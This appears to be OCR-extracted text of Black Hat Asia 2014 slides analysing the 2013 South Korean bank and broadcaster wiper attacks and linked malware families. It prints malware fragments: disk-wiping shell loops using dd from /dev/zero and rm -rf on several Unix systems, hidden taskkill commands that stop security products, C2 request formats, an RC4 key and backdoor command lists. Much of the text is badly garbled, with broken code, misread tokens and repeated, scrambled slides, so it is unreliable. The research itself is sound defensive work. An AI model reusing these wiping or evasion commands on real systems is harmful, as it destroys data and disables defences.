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3.20 Wi/fper Attack
Operation Troy ,
Operation 1Mission/Mission
Operation Nstar

Operation Eaglexp
‘Operation Flame

Operation Flame?2
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Company Shinhan NongHyup KBS TV MBC TV YTN TV
Name Bank Bank
30 Branches
Damage 57 Branches 10% of S10[0[0) 800 S10]0
6 DB Servers | employees | employees | employees | employees
computer computer | computer | computer

50% of ATM
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2013-01-31

: PCSP from
conime.exe PUuTTY suite

Dropper .

2013-03-20
prltmp ==
Plink from
alg.exe PUTTY suite
()
blackhat

ASIA 2014



AA12FES4
A812FELS

Wiper Case 1

FILE_MAP_READ
FALSE

DesiredAccess
InheritHandle

#012FE48
#012FE4C
861 2FESQ
#612FES4
#012FEL8
#612FESC

AA12FE48
B812FE4C
AA12FE48
B812FE4C

~FFFFFFFF
H0EREREA
#0ERERA4
H0EREREA
#0EBER1 0
#0402991

rAa482/4C
BeBRaRea
rAA48ZA66
lafolelelo]sle]

oo

o

hFile = INUALID_HANDLE_UALUE

pRecurity = NULL

Protect = PAGE_READWRITE

MaxSi=zeHigh = @

MaxSizeLow = 108

Hame = "JO848112-CRAS8468-11158923-PCI82730"

CmdLine = "“taskkill ~F ~IH pasvc.exe"
Show = SW_HIDE
CmdLine = "“taskkill ~/F ~IM clisvc.exe"

Show = SW_HIDE

A T T R T R
oo

o

[

o

5

in noon o
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Wiper Case 1

dd_for_hp() dd_for_aix()
r I
1 L
DISK= strings -v /etc/lvmtab -V Vg DISK="1sp | awk '{print $1}'"
for DISK PART in for DISK PART in
do - do
if=/dev/zero of= bs=8192000 & if=/dev/zero of=/dev/ bs=10M &
done done
! }
T I
dd_for_sun()

I
L

-rf /kernel/ &

-rf /usr/adm/ & dd for linux()

-rf Jfetc/ & ;
-rt /home/ & 1
-rf / & ‘ -rf /kernel/ &
PRTTOC= prtvtoc
DISK-"1s /dev/dsk s2° -rf fusr/ &
-rf fetc/ &
for DISK PART i
dol - o -rf /home/ &
mnt_info=" /dev/dsk/ Mount” }
if [ “expr "$mnt_info" : '.*'" gt @ ]
then
if=/dev/zero of=/dev/dsk/ bs=81920k &
fi
done

—

blg,ck hat

ASIA 2014



schsvcsc.exe

" Dropper | 2013-03-19

i 2013-03-20 ) " schsvesc.dll!
2013-03-20
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add
imul
push
add
call

HAALFLG4

HBAALFL5E
HBAALFLSC
HBAALFL60A
HBAALFL64
HBAAGFL6E

esi, ecx
esi, 64h
OEAG60Nh
esi, edx
edi ;

esi, 7DOFh

Wiper Case 2

; dwMilliseconds

; 3-20 15:00:00

short loc_ 10001070

FFFFFFFF
elolelolelolie]
H8ABARA4
elolelolelolie]
H8ABAA1 0
AA3F18DD |ASCII

FF96 ESB20000

N S S N N A A A
1

"GOLDA112-CRAS8468-PAGEA?23-PCIR223UY

call dword ptr ds:[esi+2E8]
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o
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kernel32.CreateFileHappinghn




Wiper Case 3

FFFFFFFF
8012FF50| 80808080
8012FF54| 80808084
6012FF58| B0BOAOBE
8012FF5C| 60BOBO10
B012FF60| BO4028CB|ASCIT “JO840112-CRASB468-11150923-PC18273U"

LIITEEEE]  Fro6 3c030000 |call duord ptr ds:[esi+33C] |kernel32.CreateFileMappingn

push eax
e o R e 8012FF48 uuuuzwﬂ‘nscu "taskkill /F /IM pasvc.exe"
jmp  short loc 4011ED 0O12FF4C| 0080808000

_ ' _ Slipbdgiti) 00482975 | ASCIT "taskkill /F /IM Clisvuc.exe"
; CODE XREF: .text:00 86812FFAC

push OEA60h 0poop0B08

call dword ptr [esi+334h] ; sleep

lea eax, [ebp-10h]

push eax

call dword ptr [esi+330h] ; GetLocalTime

] n oo
oo
o oo

o
o

[ I I T R T |
o (L I |

w
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w

n
T -~ S T Ty
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)
n

oo o4c 44 00 : 0 49 oo 30 0 oo o : 0 00 0o
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Update.zip
—_—
2013-03-19 2013-03-19

Dropper
2013-03-15 vms1014.zip
e
2010-10-14 2013-01-31
blackhat
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Wiper Spreader Case 1

[1000]

FileDe=scription=
LinkFileName=None
FileVersion=3.5.0.2
RealFileName=ArrangeLogCli.exe
REealFileS5ize=6T7584
DownFileName=vm=s1000.zip
DownFileSize=2811592
UpdateDate=2009/06/30 0%:00
FileDirectory=%InstallDir%
Language=Korean

[1001]

FileDescription=
LinkFileName=None
FileVersion=1.0.0.0
EealFileName=ChatCli.exe
RealFileS5ize=273408
DownFileName=vm=s1001.z1ip
DownFileSize=103160
UpdateDate=2009/06/30 0%:00
FileDirectory=%InstallDir$
Language=Korean

[1002]

FileDescription=
LinkFileName=None
FileVer=sion=2006.511.0.5
REealFileName=ChglUserl.exe
EealFileSize=233984
DownFileName=vm=1002.zip
DownFileSize=106375
UpdateDate=2009/06/30 03:00
FileDirectory=%InstallDir$
Language=Korean
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Wiper Spreader Case 1

[1000]
FileDe=scription=
LinkFileName=None
FileVersion=3.5.0.2
RealFileName=ArrangeLogCli.exe
REealFileS5ize=6T7584
DownFileName=vm=s1000.zip
DownFileSize=2811592
UpdateDate=2009/06/30 0%:00
FileDirectory=%InstallDir%
Language=Korean
[1001]
FileDescription=
LinkFileName=None
lFileversiun=l.0.0.0|
EealFileName=ChatCli.exe
RealFileS5ize=273408
DownFileName=vm=s1001.z1ip
DownFileSize=103160
UpdateDate=2009/06/30 0%:00
FileDirectory=%InstallDir$
Language=Korean
[1002]
FileDescription=
LinkFileName=None
FileVer=sion=2006.511.0.5
REealFileName=ChglUserl.exe
EealFileSize=233984
DownFileName=vm=1002.zip
DownFileSize=106375
UpdateDate=2009/06/30 03:00
FileDirectory=%InstallDir$
Language=Korean
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Wiper Spreader Case 1

[1000]

FileDe=scription=
LinkFileName=None
FileVersion=3.5.0.2
RealFileName=ArrangeLogCli.exe
REealFileS5ize=6T7584
DownFileName=vm=s1000.zip
DownFileSize=2811592
UpdateDate=2009/06/30 0%:00
FileDirectory=%InstallDir%
Language=Korean

[1001]

FileDescription=
LinkFileName=None

EealFileName=ChatCli.exe
RealFileSize=2T73408
DownFileName=vm=s1001.z1ip
DownFileSize=103160
UpdateDate=2009/06/30 0%:00
FileDirectory=%InstallDir$
Language=Korean

[1002]

FileDescription=
LinkFileName=None
FileVer=sion=2006.511.0.5
REealFileName=ChglUserl.exe
RealFileSize=233984
DownFileName=vm=1002.zip
DownFileSize=106375
UpdateDate=2009/06/30 03:00
FileDirectory=%InstallDir$
Language=Korean
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Wiper Spreader Case 1

[1000]

FileDe=scription=
LinkFileName=None
FileVersion=3.5.0.2
RealFileName=ArrangeLogCli.exe
RealFileSize=6T7584
DownFileName=vm=s1000.zip
DownFileSize=28192
UpdateDate=2009/06/30 0%:00
FileDirectory=%InstallDir%
Language=Korean

[1001]

FileDescription=
LinkFileName=None
FileVersion=1.0.0.0
RealFileName=ChatCli.exe

o] I e = I} L TN

DownFileName=vm=s1001.z1ip
Downrilecize—rlosteo
UpdateDate=2009/06/30 0%:00
FileDirectory=%InstallDir$
Language=Korean

[1002]

FileDescription=
LinkFileName=None
FileVer=sion=2006.511.0.5
REealFileName=ChglUserl.exe
RealFileSize=233984
DownFileName=vm=1002.zip
DownFileSize=106375
UpdateDate=2009/06/30 03:00
FileDirectory=%InstallDir$
Language=Korean
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Wiper Spreader Case 1

[1000]

FileDe=scription=
LinkFileName=None
FileVersion=3.5.0.2
RealFileName=ArrangeLogCli.exe
RealFileSize=6T7584
DownFileName=vm=s1000.zip
DownFileSize=28192
UpdateDate=2009/06/30 0%:00
FileDirectory=%InstallDir%
Language=Korean

[1001]

FileDescription=
LinkFileName=None
FileVersion=1.0.0.0
RealFileName=ChatCli.exe
RealFileS5ize=273408

DownFileSize=103160

FileDirectory=%InstallDir$
Language=Korean

[1002]

FileDescription=
LinkFileName=None
FileVer=sion=2006.511.0.5
REealFileName=ChglUserl.exe
RealFileSize=233984
DownFileName=vm=1002.zip
DownFileSize=106375
UpdateDate=2009/06/30 03:00
FileDirectory=%InstallDir$
Language=Korean
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Wiper Spreader Case 1

[1000]

FileDe=scription=
LinkFileName=None
FileVersion=3.5.0.2
RealFileName=ArrangeLogCli.exe
RealFileSize=6T7584
DownFileName=vm=s1000.zip
DownFileSize=28192
UpdateDate=2009/06/30 0%:00
FileDirectory=%InstallDir%
Language=Korean

[1001]

FileDescription=
LinkFileName=None
FileVersion=1.0.0.0
RealFileName=ChatCli.exe
RealFileS5ize=273408
DownFileName=vm=s1001.z1ip

= 1 o= = ="Ir"u"3"|£:‘“|

UpdateDate=2009/06/30 0%:00

Language=Korean

[1002]

FileDescription=
LinkFileName=None
FileVer=sion=2006.511.0.5
REealFileName=ChglUserl.exe
RealFileSize=233984
DownFileName=vm=1002.zip
DownFileSize=106375
UpdateDate=2009/06/30 03:00
FileDirectory=%InstallDir$
Language=Korean
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Wiper Spreader Case 1

[1000]

FileDe=scription=
LinkFileName=None
FileVersion=3.5.0.2
RealFileName=ArrangeLogCli.exe
RealFileSize=6T7584
DownFileName=vm=s1000.zip
DownFileSize=28192
UpdateDate=2009/06/30 0%:00
FileDirectory=%InstallDir%
Language=Korean

[1001]

FileDescription=
LinkFileName=None
FileVersion=1.0.0.0
RealFileName=ChatCli.exe
RealFileS5ize=273408
DownFileName=vm=s1001.z1ip
DownFileSize=103160

el Nl WA Ta BNk RN aTal
lFileDiIectory=%InstallDir% ]
anguage—RoOrean

[1002]

FileDescription=
LinkFileName=None
FileVer=sion=2006.511.0.5
REealFileName=ChglUserl.exe
RealFileSize=233984
DownFileName=vm=1002.zip
DownFileSize=106375
UpdateDate=2009/06/30 03:00
FileDirectory=%InstallDir$
Language=Korean
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Wiper Spreader Case 1

Abnormal Update Config File Normal Update Config File

213:UpdateDate=2007/04/20 13:00
Z14-FileDir natallDirk

Languag
[1014]

:[1014]

:FileDescription=
:LinkFileNzme=lone
:FileVersiom i

/14
ry=%InstallDir%

:FileDescription=
inkFileName=Hone

blg’ck hat
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Wiper Spreader Case 1

Name Start

[ char deSignature[4] 1BFFh
ushort deversionMadeBy 57 1C03h
ushort deVersionToExtract 2 1C05h
ushert deFlags 1C07h
enum COMPTYPE deCompression 1C05Sh
DOSTIME deFileTime z 1032 1C0Bh

DOSDATE deFileDate 1C0Dh
uint deCrc i 1COFh
uint deCompressedsi 26 1C13h
uint delincompressedSize 24575 1C17h
ushort deFileMamelength 1C1Bh
ushort deExtraFieldLength 3 1C10h
ushort deFileCommentLength i 1C1Fh
ushort deDiskMumberStart 1C21h

:[1014]
:FileDescription=
:LinkFileName=None
:FileVersion=3.5.0.9

oo -3 on

o

125 T S S T A T S T S I S ]

[ T T e S =
(v

1.
-
[
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Wiper Spreader Case 1

Name Start

[ char deSignature[4] 1BFFh
ushort deversionMadeBy 57 1C03h
ushort deVersionToExtract 2 1C05h
ushert deFlags 1C07h
enum COMPTYPE deCompression 1C05Sh
DOSTIME deFileTime z 1C0Bh

DOSDATE deFileDate 1C0Dh
uint deCrc 1203Rh 1COFh
uint deCompressedsi 26 1C13h
uint delincompressedSize 24575 1C17h
ushort deFileMamelength 1C1Bh
ushort deExtraFieldLength 3 1C10h
ushort deFileCommentLength i 1C1Fh
ushort deDiskMumberStart 1C21h

:[1014]
:FileDescription=
:LinkFileName=None
:FileVersion=3.5.0.9

oo -3 on

o

[ TR S R S T S S T S T oS ]

R RRD = B e
(v

1.
-
[
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Wiper Spreader Case 1

S — 2 o mmerenar
push offset aTaskkillFImUrs

call esi WinExec

push edi : uCmdShouw
push offset aTaskkillFImHpc

call esi WinExec

push edi : uCmdShouw
mou ehx, offset aTaskkillFImHsw
push ebx ; 1pCmdLine
call esi WinExec

push edi : uCmdShouw
push offset aTaskkillFImU_ @

call esi WinExec

push edi : uCmdShouw
push offset CmdLine |

call esi WinExec

push edi : uCmdShow
push offset aTaskkillFImUrm

call esi WinExec

push edi : uCmdShow
push offset aTaskkillFImUrr

call esi WinExec

push edi : uCmdShow
push offset aTaskkillFImU 1

call esi WinExec

push edi : uCmdShow
push ebx ; 1pCmdLine
call esi WinExec

blg’ck hat
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Wiper Spreader Case 1

jz short loc 4B64A0

push ;s chbhata
push offset Data

push ; duType
push edi : Reserved
push offset UalueHame

push [ebp+phkResult] ; hHKey
call RegSetUalueExA

push [ebp+phkResult] ; hHKey
call RegCloseKey

Ldll REyLriuseney
loc 4864F6: ; CODE XREF: WinMain(x,x,x,x)+EATj
mou esi, offset aCProgramFile 2 ; c:%Program Files\HauriiSiteServerivismsupdateiupdate.zip
push esi ; 1pFileHame
call DeleteFilen
push offset aCProgramFile_3 ; c:\Program FilesiHauriiSiteServerivismsupdateiumsi1814.zip
call DeleteFilen
push edi ; hTemplateFile
push ; duFlagsAndAttributes

blg’ck hat
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Wiper Spreader Case 1

push edi ; hTemplateFile

push ; duFlagsAndattributes
push ; duCreationDisposition
push edi ; lpSecurityfnttributes
push ; dwShareHode

nov ebx,

push ebhx ; dubDesiredAccess

push esi ; c:Z\Program Files\HauriiSiteServeriwismsupdatejupdate.zip
call CreateFilen

mov esi, eax

nov [ebp+Humber0fBytesWritten], edi

cmp esi,

jz short loc_ 486540

push edi ; lpOverlapped

3 s
push EH ; lpHumberOfBytesUritten
push ; nHumber0fBytesToWrite
push offset aPk ; lpBuffer

push esi ; hifile

call WriteFile 1

e B51 ; MObject

call CloseHandle

loc_4B8654C: ; CODE XREF: winMain(x,x,x,x)+1uBTj
push edi ; hTemplateFile
push ; duFlagsAndAttributes
push ; duCreationDisposition
push edi ; lpSecuritynttributes
push ; duShareHode
push ebx ; duDesiredAccess
push offset aCProgramFile_3 ; c:\Program Files\Hauri\SiteServerivismsupdateiumsi814.zip
call CreateFileA
mow esi, eax
cmp esi,
jz short loc 486587
push edi ; lpOverlapped
lea £ax ebp+HumberOfBytesi-itten

push eax ; lpNumber0fBytesWritten
push ; nHumberO0fBytesToWrite
push offset aPk_@ ; lpBuffer

push esi ; hFile

call WriteFile 1

push esi ; hObject

call CloseHandle

blg‘ck hat
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Wiper Spreader Case 1

1, vms1018 4/30/2010 4:00 PM Compressed (zippe...
vms1013 3/23/2012 10:00 AM Compressed (zippe...
1) vms 1020 7/30/2012 11:00 AM Compressed (zippe...

2/M&MN12 1.00 DA A

File Edit Format View Help

Language=Korean

[1012]

FileDescription=

LinkFileName=None

Fileversion=3,0,0,58

RealFileName=InitCli.exe

RealFilesize=6261
wnFileName=vms1012. zip
wnFilesize=334129

UpdateDate=2012/05/22 19:00

FileDirectory=%InstallDir%

FileDescription=
LinkFileName=None 1=

wn. exe [ActiveRepair] module,
! . ease wait...
DownFileName=vms1013. zip
wnFilesSize=31350
UpdateDate=2007/04/20 19:00
FileDirectory=%InstallDir%

mERGURGeTItorean
[1014]
FileDescription=
¢|LinkFileName=None
Fileversion=3.5.0.9 Cancel(©)
RealFileName=0thDown. exe
RealFilesize=24576
DownFileName=vms1014. zip
DownFileSize=7282
UpdateDate=2010/10/14 23:00
FileDirectory=%InstallDir%
Language=Korean
LLUL>]
FileDescription=

blg’ck hat
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Wiper Spreader Case 1

- vismsupdate * vms1014

L S

Application

realFilesiz
DownFi1eNam
DownFilesiz

bl.'gck hat

ASIA 2014



Wiper Spreader Case 1

pen  New folder

modified

7 700 PM Application

07 5:00 PM Application
Applicatio
Applicatio
DAT File
DAT File
Applicatio
Appli
Applicatio
.%I MsgCli { aPM Application
avisg. an U LU AN APpICaTo
OthDown 4202007 7:00 PM Application
07 7:00 P Annlication
4 f2007 9:00 PM Application
'unPam y 07 7:00 PM Application
SetEny /17200 . Application module,
Application
Appli n
Application
wn Date modified: 7 7:00 PM
htion

vms1014. z3 p
7282

blg’ck hat
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Wiper Spreader Case 1

New folder
Mame = Date modi

DAT File 197 KB
DAT File 3,148

Appli
Appli
Applica

wvisg.dll ETpE UL A ApplicaTo

B othbown 10/14/2010 11:00 PM  Application

cmd ) - Application
Appli
Appli
Appli
Applic.
Application
Appli
Appli
Configuration settings
PM Applic

10 11:00 PM Date created

blg’ck hat
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Wiper Spreader Case 1

R L L L L R I I I R ]
ol
t]

wl

FEEREAEEEREEEEEEEE -
1M e E o E e

wl

B
4
4
4
4
4
4
4 5
4
4
4
4
4
4
4
4

S A o
R e e W e e e B R R e e e B e R
"
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Wiper Spreader Case 2

[Setupl]
Exe=contalner.exe

1
4

[PkgInfo]

AppId=7001
Name=V3EnginePatch

B PackageFile=container.exe
] RunParam=

il Type=8

-1 &

blg’ck hat
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;-

Company
Name

Security
Management
System

Shinhan Bank

NongHyup
Bank

blg’ck hat
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KBS TV

MBC TV

YTN TV
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?’ R

 No Packer
* FileMapping Objec
*Timebomb

blg,ck hat
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\/No Packer
v'Similar FileMapping Object
v' Timebomb

* HTTP Protocol

* Share similar payload
» Z:\Work\Make Troy\Concealment Troy

bl.g’ck hat
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Downloader
2013-02-03
23:42:32

w7e89.tmp
2013-02-21
21:46:37

Win XP

\ 4

\ 4

Dropper

2013-02-21

21:47:45 SVCHOST.exe

2012-11-28

16:40:40

)y

Win XP+

w7e89.tmp
2013-02-21
21:46:37

blg,ck hat

ASIA 2014

themeservics.dll
2013-02-21
17:56:11

shellservice.exe
2013-02-21
21:44:29

SVCHOST.exe
2011-12-09
22:47:28

themeservics.dll
2013-02-21
17:56:11

shellservice.exe
2013-02-21
21:44:29




w7e89.exe
2013-01-22
16:49:04

w8e89.exe

Dropper
2013-02-03
23:31:12

2013-02-03
23:30:05

SVCHOST .exe
2012-11-28
16:40:40

Win XP+

w7e89.tmp
2013-01-22
16:49:04

w8e89.tmp
2013-02-03
23:30:05

SVCHOST .exe
2012-11-28

OS 64bit

15:55:12

\ 4

DLL 1.dll
2011-12-09
22:47:28

w7e89.tmp

2012-11-28
05:02:27

blg,ck hat
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\ 4

DLL 2.dlI
2012-09-18
00:38:30




Troy Payload - Preparation

push ebx

mouv ebx, offset aPceepciCoan68B

call Dec_String

push eax ; 1pHame

push 18h ; duMaximumSizelow

push ] ; duHaximumSizeHigh

push L ; F1FProtect

push ] ; 1pFileHappingattributes
push BFFFFFFFFh ; hFile

call ds :CreateFileHappingh

mov ebx, offset aRegisteredoune
call Dec_String

mov edx, [esp+44Ch+phkResult]
push eax ; lpUalueName
push edx ; hKey

call ds:RegQueryUalueExA

mov ebx, offset aHegiStErEdurga

mov [esp+4iCh+cbData], 1683h 0
call  Dec. String Calculate an ID used in
mov edx, [esp+44Ch+phkResult]

push eax ;: lpValueHame HTTP requeSt

push edx ; hKey

call ds :RequerylalueE=A

mnou ebx, offset alnstalldate

mou [esp+iuCh+cbData], 4

call Dec_String

mou edx, [esp+4iCh+phkResult]

push eax ; lpValueHame

push edx ; hKey

call ds :ReqQuerylUalueE=A O

blackhat
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Troy Payload - Time bomb

Sleep(8x1388u);
GetLocalTime{&SystemTime);
vd = SystemTime.wDay + 188 = (SystemTime.wHonth + 188 * {SystemTime.wYear % 188));
while { v@ < dword 416B3C )
Sleep(8x5265CA0u) ;
vl = URL_Array[i];
u? = Dec_ String{uv3d);
if { Connect Remote Server({void =)u2) == LA4 )
break;
Sleep(1886 = dword 416B4A) ;

blg’ck hat
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Troy Payload - Communication

e [server _url]?no=0&id=[calc by reg
queries]&sn=[random]&sc=[md5sum(id+id+sn+sn)]

* Write server response to 13785.tmp

* Decrypt the file using RC4 with key tp28ilc3gZ@0*3t@

blg’ck hat
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Troy Payload - Commands

* wakeup
* interval
e downloadexec

db

aZWorkHakeTroyC db °Z:\WorkiHake Troy\Concealment TroyiExe Concealment Troy{Winlogon '
db *Shell)\Concea 1ment_Troy_|| N Release\Concealnent_Troy.pdb*
dbh @

blg’ck hat
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Troy Payload - Characteristic

FileMapping Obj

RC4 xx07-12-31
~ ™

Payload
PN AN

?no=0&id=&sn=&sc= SUB 4

/[

Calc ID

bl.g’ck hat
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schedsrv.dll
2013-03-23
07:24:28

w7e89.tmp
2013-03-23
07:31:31

SVCHOST.exe
2012-11-28
16:40:40

Dropper
2013-03-23
10:49:59

Win XP+

w7e89.tmp
2013-03-23
07:31:31

SVCHOST.exe
2012-11-28
15:55:12

w7e89.tmp

OS 64bit

2013-03-23
07:43:59

VACW.dII
2013-03-23
07:40:29

8]

blackhat
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push
push
push
push
push
call

push
push
push
mow

call

push
push
push
mowv

call

Troy 7 Payload - Preparation

mou ebx, offset aXglobalResourc
call Dec_String
push eax ; lpHame
20K esi, esi
push esi ; bInheritHandle
push L ; duDesiredficcess
call ds :0penFileHappingh

eax ; lpDhata

ehx ; 1pType

ehx ; lpReserved

offset UalueHame

[ebp+phkResult] ; hKey

edi ; RegQueryValueExA

ebhx : 1pReserved

offset aRegisteredorga
[ebp+phkResult] ; hHKey
[ebp+nSize], esi

edi : RegQuerylValueExhn

ebhx ; 1pReserved
offset alnstalldate
[ebp+phkResult] ; hKey
[ebp+nSize], &4

edi ; RegQueryUalueExA

blg’ck hat
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Troy 7 Payload - Communication

[server_url]?id=[calc by reg queries]
Write server response to ~09183.tmp
Decrypt the file using RSA

Using UDP protocol to get URL List
HTTP GET more files

Wipe MBR and VBR with 00

blg’ck hat
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Troy 7 Payload - Characteristic

FileMapping Obj

[ UDP ] [XOR 1stByte]

N Vo
Payload
AN NG

RSA K1 Calc ID

HTTP ?id=

blg’ck hat
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HHHHuh?

blackhat

ASIA 2014



v'No Packer ko

v'Similar FileMapping Object

v Timebomb

e HTTP & IRC

* Similar payload

e D: \Work\Op\IVI|SS|on\TeamPrOJect

bl.g’ck hat
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Dropper
2002-07-11

RunCmd.exe

\ 4

Ahnlab
Updatekit

2011-06-29
L[ ERLtmp |__[ DR2.tmp
32bit 1= 5013-01-12 [ "] 2013-01-12
AhnlabUpdate.exe
2013-01-15
: | ER1.tmp | DR2.tmp
O4DIt ™ 013-01-12 [ ] 2013-01-12
RunCmd.log
RunCmd.ini
blackhat

ASIA 2014

ER3.tmp
2013-01-12

ER3.tmp
2013-01-12



Mission Payload - Preparation

push  eax ; Globaly\ResourceShare.1.3.7
push 4 ; dwHazimumSizelow

push g ; duMaximumSizeHigh

push L ; FlProtect

lea edx, [ebp+FileHappinghAttributes]

push edx ; 1lpFileHappingAttributes
push BFFFFFFFFh ; hFile

call ds:CreateFileHappingh

add esp, 4

push eax ;: RegisteredOuwner
mow eax, [ebp+phkResult]

push eax ; hKey

call ds:RegQuerylalueExA

- - r

push eax - ; RegisteredOrganization g
mov  eax, [ebpphkResult] Calculate an ID used in
push eax ; hKey

call ds:RegfluerylalueExA HTTP requeSt

push Eaﬁ- ; InstallDate
mov eax, [ebp+phkResult]
push eax ; hKey

call ds :ReqQueryUalueE=A

blg’ck hat
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Mission Payload - Communication

[server_url]?image=1&no=0&num=[calc by reg
queries]&id=[0S Ver+|P Addr]&date=[part of md5(id)]
Write server response to ~[random].tmp

Decrypt the file using Modified Base64 and RSA

HTTP & IRC

blg’ck hat

ASIA 2014



Mission Payload - Commands

* Use Integer
* Join IRC
* Modify registry entry
* Change nick name
* MapFS
* Upload
* Download
* Report
blg’ckhat@

ASIA 2014



Mission Payload - Characteristic

FileMapping Obj

IRC " XTEA ]
N N
Payload

e
RSA K2 CalcID
\_ _J

HTTP

Base64 ?image=1&no=0&num=
&id=&date=

blg’ck hat

ASIA 2014



H.uh?
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v'No Packer b v
v'Similar FileMapping Object
v’ Timebomb

v HTTP & IRC

v'Similar payload

» Z:\1Mission\Team Project\
= Version 2.1

bl.g’ck hat
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32bit

e

N\

Dropper
2012-07-02

17:00:32

64bit

)

s

DR9.tmp
2012-07-02
17:00:09

N\

ER8.tmp
2012-07-02
17:00:19

s

DR9.tmp
2012-07-02
17:00:03

N\

ER8.tmp
2012-07-02
17:00:26

blackhat

ASIA 2014

[ msimg64.dIl

2012-07-02
16:59:48

ER9
2012-07-02
16:59:48

ER9
2012-07-02
16:59:58



ER1.tmp
2012-07-04
02:43:24

32Dbit

DR1.tmp

Dropper 2012-07-04
2012-07-04 02:42:28

02:43:43

DR1.tmp
64Dbit — 2012-07-04
02:43:36

blg,ck hat
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32bit

2012-08-27
21:31:52

5.1.7552

64bit

AL S
o S

HOST.exe |

ASIA 2014

—
SV ER1
5.1.2600 > 2012-08-27 — 2012-08-27
21:30:44 21:27:35
SVCHOST.exe W7e
2012-07-23 > 2012-07-23
19:09:56 19:09:11
5.1.6000
w7e89.tmp ER1
2012-08-27 — 2012-08-27
21:30:44 21:27:35
SVCHOST.exe ER1
> 2012-08-27 o 2012-08-27
21:30:44 21:27:35
SVCHOST.exe W7e
2012-07-23 > 2012-07-23
19:08:39 19:07:50
w7e89.tmp ER1
2012-08-27 o 2012-08-27
21:31:50 21:28:34
black hat




1Mission Payload - Communication

e [server url?no=0&id=&sn=random&sc=md5(id+id+sn+sn
)

id=YN|Y8]|co|YH|D3”[calc by reg queries or mac addr]

* Write server response to ~13785.tmp

Decrypt the file using Base64 and RSA

HTTP & IRC

28 CMD

blg’ck hat
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1Mission Payload - Characteristic

[FiIeMapping Obj]

Baseb4 HTTP
RSA KO ?n0=0&id=&sn=&sc=

blg’ck hat
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v'No Packer |
v'Similar F|Iel\/lapp|ng Object
v' Timebomb

v HTTP & IRC

v'Similar payload

= e:\Work\BackUp\2011\nstar 1103
= BsDll.pdb

= \ersion 2.1

blg,ck hat
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Nstar Payload - Communication

[server_url?no=0&id=H"[calc by reg queries or
mac]&sn=random&sc=md5(id+id+sn+sn)
Write server response to ~13785.tmp

Decrypt the file using Base64 and RSA

HTTP & IRC

28 CMD

blg’ck hat
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Nstar Payload - Characteristic

ASIA 2014



;;;;
‘‘‘‘‘‘‘‘‘‘‘

v'No Packer |
v'Similar F|Iel\/lapp|ng Object
v Timebomb

v HTTP & IRC

v'Similar payload

» d:\VMware\eaglexp(Backup)\
v'BsDlIl.pdb

= Version 2.0

blg,ck hat

ASIA 2014



Eaglexp Payload - Communication

[server_url?no=0&id=M*[calc by reg queries or
mac]&sn=random&sc=md5(id+id+sn+sn)

Write server response to ~13785.tmp

Decrypt the file using Base64 and RSA

HTTP & IRC

28 CMD

blg’ck hat
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Eaglexp Payload - Characteristic

Base64 —
RSA KO ?no=0&id=&sn=&sc=

bl.g’ck hat
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BS.DLL and Operations

Troy
2013
[ " \
2010 2012
BS.DLL
Nstar Mission
2011 2013

blg’ck hat
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BS.DLL - Characteristic

FileMapping Obj

dkwero38
oerArt@#

Payload

Calc
ID

Baseb4 HTTP
RSA ?n0=0&id=&sn=&sc=

bl.g’ck hat
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-
* \ersion .

* HTTP b o
- ZIP

blackhat
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Version 1.1 — 5.6,
IRC -> HTTP & IRC
Plugins {rootkit, USBDumper, MapFS Keylogger, Ema|I
stealer}

armyclass, navylogicom, mndjob,...

blg,ck hat
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Purpose

e Steal Sensitive Documents
e Disable System

blg’ck hat
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BS.DLL PDB

d:\Data\ \1atest\BsDll-up\Release\BsDlIl.pdb

e:\working\ \327|-mmx\HttpBackdoor\bs_dIl\Release\BsDIl.pdb
e:\wmi\work\backdoor\Release\BsDIl.pdb
k:\Ardour\Work\Backdoor\BD_Mail\First\Backdoor\Release\BsDIl.pdb
d:\Chang\vmshare\Work\BsDII-up\Release\BsDIl.pdb

d:\Work\ \BsDIl-up\Debug\BsDIl.pdb ( )

g:\ \Tong\ \ _Backdoor\BsDIl-up\Release\BsDlIl.pdb ( ) (
d:\ZZang\From_Tong\ \ _Backdoor\BsDIl-up\Release\BsDll.pdb (
e:\Jjijiiiiiij\work\ _Backdoor\BsDll-up\Release\BsDll.pdb

d:\ \Coding\1X} \1th Backdoor\Release\BsDIl.pdb ( ) (

blg’ck hat

ASIA 2014



blackhat

ASIA 2014



blackhat

ASIA 2014



Year 2007 Year 2008 Year 2009 Year 2010 Year 2011 Year 2012 Year 2013
BS Case
Flame BS Case 1 14
5
—
BS Case
Flame 17
1 A 4
)
— Flame
6 BS Case y
‘ BS Case
L 2 Troy 8 16
—
FI
e A\ 4 g BS Case
2 A > ;5
Flame l
7
Flame L BS Case BS
4 d Case 3
A 4
v Flame2 Flame
1 8 A 4 BS Case 4 1mission
Flame Eaglexp 12 5/4/1/2
3 BS Case
e
A\ 4
( l A
BS Case T
; 6 1mission -
i mission Troy 7
——— 6
| Flame2 Flame A 4
1 2 9 BS Case
‘ 10 \ 4
‘ — 4
BS Case
7/8/9 1mission
\ 3
BS Case
\ 4 18
—
A\ 4 BS Case
BS Case 15
f/12/11 \ 4 Troy
BS Case 2/4/6/1
13 Nstar 1
 S—
A
\ 4
BS Case (—
A/B Troy b

Development Path

blackhat
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Year 2007

Flame

Flame

Flame

Year 2008 Year 2009
BS Case
Flame BS Case 1 14
5
—
BS Case
17
A 4
)
Flame
6 BS Case
— c

Flame2 Flame
2 9

Development Path

Year 2010

BS Case
16

BS Case

BS Case
d

A 4
BS Case
e

A 4

BS Case
10

A 4

BS Case
f/12/11

BS Case

6
 —

A
—
BS Case

7/8/

—
BS Case
1
BS Case
1

A

5
3

A

,
«
NQ—J

4 :

ASIA 2014

BS Case
A/B

Year 2011

BS Case
18

Troy b

Year 2012

_>-

Year 2013

1mission
6

mission

Troy 7

A 4

1mission
3

Troy 5




Thank You!

Xxyang@fortinet.com

kyleyang001
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